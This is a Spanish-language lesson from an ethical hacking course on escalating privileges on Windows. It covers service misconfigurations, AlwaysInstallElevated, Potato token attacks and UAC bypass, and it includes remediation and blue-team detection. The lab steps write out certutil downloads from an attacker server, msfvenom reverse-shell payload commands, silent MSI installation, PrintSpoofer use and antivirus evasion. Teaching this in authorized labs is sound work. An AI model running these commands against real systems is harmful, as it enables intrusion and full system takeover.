Parte: 3 — Hacking ético y pentesting: metodología · Fuente: Peter Kim - "The Hacker Playbook 3"; documentación oficial de Sysinternals (Microsoft) ⏱️ Duración estimada: 130 min · Nivel: Avanzado
El alumno aprenderá a enumerar un host Windows comprometido con una cuenta estándar, identificar configuraciones inseguras (servicios con rutas o permisos débiles, políticas de instalación permisivas, privilegios de token abusables) y escalar hasta SYSTEM o administrador local en un entorno de laboratorio propio, entendiendo además cómo el equipo defensivo audita y corrige cada vector.
Al finalizar, el alumno podrá:
| # | Tema | Por qué importa |
|---|---|---|
| 1 | Enumeración con WinPEAS | Detecta decenas de misconfiguraciones en minutos |
| 2 | PowerUp / PowerSploit | Automatiza auditoría de privilegios vía PowerShell |
| 3 | Unquoted service paths | Windows ejecuta rutas intermedias si no hay comillas |
| 4 | DLL hijacking en servicios | Un binario o DLL escribible se ejecuta con privilegios del servicio |
| 5 | AlwaysInstallElevated | Permite instalar MSI arbitrario como SYSTEM |
| 6 | Tokens de acceso e impersonation | Base de ataques Potato para llegar a SYSTEM |
| 7 | UAC bypass (concepto) | Explica por qué UAC no es un límite de seguridad real |
En Windows la escalada va de una cuenta de usuario a administrador local y, desde ahí, a SYSTEM —la cuenta de servicio con el máximo privilegio, por encima incluso del administrador—. Como en Linux, el camino rara vez es un exploit y casi siempre una configuración incorrecta: un servicio con una ruta mal escrita, una carpeta escribible donde no debería, una política de instalación peligrosa, un privilegio de token mal concedido. La enumeración es de nuevo el primer paso, y WinPEAS y PowerUp (parte de PowerSploit) automatizan la detección de decenas de estas debilidades en minutos.
Varios de los vectores clásicos giran en torno a los servicios, que se ejecutan con
privilegios altos al arrancar. El unquoted service path explota una peculiaridad de
Windows: si la ruta del ejecutable de un servicio contiene espacios y no está entre
comillas (C:\Program Files\Mi App\app.exe), Windows intenta ejecutar por orden
C:\Program.exe, luego C:\Program Files\Mi.exe, etc.; si el atacante puede escribir un
binario con uno de esos nombres en una carpeta intermedia, se ejecuta con los privilegios del
servicio. El DLL hijacking es análogo con bibliotecas: si un servicio carga una DLL desde
una ubicación escribible o no encontrada, colocar ahí una DLL maliciosa la hace ejecutarse en
su contexto. Y si los permisos del propio servicio son débiles, se puede reconfigurar
directamente su binario para que apunte al payload.
AlwaysInstallElevated es una política que, si está activada (dos claves de registro),
permite a cualquier usuario instalar un paquete MSI con privilegios de SYSTEM. Es una
escalada trivial cuando aparece: se genera un MSI malicioso y se instala. El vector más
potente y conceptualmente más rico es el abuso de tokens de acceso. Windows usa tokens
para representar el contexto de seguridad de un proceso, y ciertas cuentas de servicio tienen
privilegios especiales —como SeImpersonatePrivilege— que permiten suplantar el token
de otra cuenta. La familia de ataques "Potato" (JuicyPotato, PrintSpoofer, RoguePotato)
explota justamente eso: engañar a un proceso privilegiado para que se autentique contra el
atacante, capturar su token y suplantarlo para saltar a SYSTEM. Es el mismo getsystem de la
Clase 074 visto por dentro.
La clase cierra desmontando un malentendido importante: el UAC (User Account Control, el aviso de "¿permitir que esta app haga cambios?") no es un límite de seguridad en el sentido estricto, y Microsoft lo dice explícitamente. Es una comodidad para separar acciones administrativas de las normales, pero existen numerosas técnicas de UAC bypass que permiten a un proceso de un administrador saltar el aviso y ejecutarse elevado sin interacción. Entender esto tiene una consecuencia práctica doble: para el atacante, que estar en una cuenta de administrador ya es, en la práctica, estar a un paso de la elevación completa; para el defensor, que no se puede confiar en UAC como barrera y hacen falta controles reales (mínimo privilegio, que los usuarios no sean administradores locales, segmentación). Como siempre, cada vector encontrado se documenta con su remediación concreta, porque el valor del hallazgo es que el cliente lo cierre.
HKCU y HKLM) que, si ambas están activas, permiten a cualquier usuario instalar paquetes .msi con privilegios de SYSTEM. Característica clave: requiere ambas claves activas simultáneamente para ser explotable.SeImpersonatePrivilege puede suplantar el token de otro proceso que se conecta a él.SeImpersonatePrivilege (solo las estrictamente necesarias) reduce la superficie de ataques tipo Potato.SeImpersonatePrivilege en cuentas de servicio para escalar a SYSTEM. Característica clave: no explotan un bug de memoria, sino un diseño de autenticación NTLM local mal aislado.| Término | Definición concisa |
|---|---|
| SYSTEM | Cuenta de máximo privilegio en Windows |
| Administrador local | Nivel intermedio; puente hacia SYSTEM |
| WinPEAS / PowerUp | Herramientas de enumeración de escalada en Windows |
| PowerSploit | Conjunto de módulos ofensivos en PowerShell |
| Unquoted service path | Ruta de servicio con espacios sin comillas; explotable |
| DLL hijacking | Cargar una DLL maliciosa desde una ubicación escribible |
| Permisos débiles de servicio | Permiten reconfigurar el binario del servicio |
| AlwaysInstallElevated | Política que instala MSI como SYSTEM |
| Token de acceso | Representa el contexto de seguridad de un proceso |
| SeImpersonatePrivilege | Privilegio que permite suplantar otro token |
| Ataques Potato | Familia que abusa de la suplantación para llegar a SYSTEM |
| PrintSpoofer / JuicyPotato | Implementaciones concretas del ataque Potato |
| UAC | Aviso de elevación; no es un límite de seguridad |
| UAC bypass | Técnicas para elevar sin el aviso |
winPEASx64.exe/winPEASx86.exe): transferir vía certutil -urlcache -f http://IP:8000/winPEASx64.exe wp.exe desde un servidor HTTP en la máquina atacante.. .\PowerUp.ps1; Invoke-AllChecks.SeImpersonatePrivilege, usados únicamente contra la VM de laboratorio propia.Todo el laboratorio se ejecuta contra una VM Windows propia o un target de plataforma de laboratorio autorizada. Nunca contra un sistema ajeno sin autorización explícita por escrito.
whoami, whoami /priv, whoami /groups, systeminfo.certutil -urlcache -f http://IP_ATACANTE:8000/winPEASx64.exe wp.exe y luego .\wp.exe > peas.txt.wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """.accesschk.exe -uwcqv usuario NombreDelServicio.SERVICE_ALL_ACCESS o similar para tu usuario, reemplaza el binario o crea el ejecutable en la ruta intermedia con un payload generado con msfvenom -p windows/x64/shell_reverse_tcp ....reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated y la misma consulta contra HKLM.1, genera un MSI malicioso con msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi -o payload.msi e instálalo con msiexec /quiet /qn /i payload.msi.whoami /priv; si aparece SeImpersonatePrivilege habilitado, ejecuta un binario tipo PrintSpoofer contra un servicio local de la VM de laboratorio para obtener una shell SYSTEM.whoami mostrando nt authority\system o una cuenta administradora.Seatbelt.exe -group=all) como comprobación cruzada de los hallazgos de WinPEAS y PowerUp.schtasks /query /fo LIST /v y verifica permisos de escritura sobre el ejecutable asociado.Reto: en tu VM Windows de laboratorio (con al menos dos vectores configurados: un servicio con permisos débiles y AlwaysInstallElevated activo), obtén privilegios de SYSTEM o administrador local por dos caminos distintos.
Criterio de aceptación: el alumno entrega evidencia de whoami mostrando nt authority\system (o cuenta administradora) para cada uno de los dos métodos, con el comando exacto de explotación y la remediación correspondiente documentada.
| Síntoma / mensaje | Causa y cómo arreglar |
|---|---|
| WinPEAS bloqueado por el antivirus | Comportamiento esperado en producción; en el laboratorio, desactivar temporalmente el AV o usar la firma menos detectada |
accesschk.exe no reconocido |
Falta descargar Sysinternals Suite; agregar la carpeta al PATH o invocar con ruta absoluta |
| El servicio no reinicia tras reemplazar el binario | Faltan permisos para reiniciar el servicio; verificar con sc qc NombreServicio y usar una cuenta con SERVICE_START |
| AlwaysInstallElevated parece activo pero el MSI no eleva | Solo una de las dos claves (HKCU/HKLM) está en 1; deben estar ambas |
| PrintSpoofer falla con "Access Denied" | La cuenta no tiene SeImpersonatePrivilege habilitado; confirmar con whoami /priv |
| El payload de msfvenom es detectado de inmediato | AV moderno con firmas conocidas; en laboratorio, usar encoding o deshabilitar temporalmente el AV, nunca en producción sin autorización |
❓ ¿Es necesario tener antivirus desactivado para practicar esto? No es obligatorio, pero en el laboratorio suele desactivarse temporalmente para centrarse en la lógica de la técnica; en un pentest real, evadir EDR es una habilidad separada que se practica en otra clase.
❓ ¿UAC me protege de estos ataques? UAC filtra ejecuciones interactivas, pero Microsoft explícitamente no lo considera un límite de seguridad; muchas de estas técnicas (servicios, tokens, AlwaysInstallElevated) no dependen de UAC en absoluto.
❓ ¿Por qué SeImpersonatePrivilege suele estar presente en cuentas de servicio? Porque muchos servicios web (IIS, MSSQL) necesitan impersonar al usuario autenticado para acceder a recursos con su identidad; es funcionalidad legítima que se vuelve peligrosa si el atacante compromete ese servicio.
❓ ¿Cómo detecta un equipo azul esta escalada? Con Sysmon monitoreando creación de procesos hijos inusuales de servicios, cambios en binarios de servicios (integridad de archivos), auditoría de claves AlwaysInstallElevated vía GPO, y alertas sobre uso de privilegios sensibles (Event ID 4672).
❓ ¿WinPEAS y PowerUp encuentran exactamente lo mismo? No siempre: WinPEAS cubre un espectro más amplio de misconfiguraciones del sistema operativo, mientras que PowerUp está más enfocado en objetos de PowerShell/AD; usarlos juntos da una cobertura más completa que confiar en uno solo.
Clase 076 — Escalada de privilegios en Linux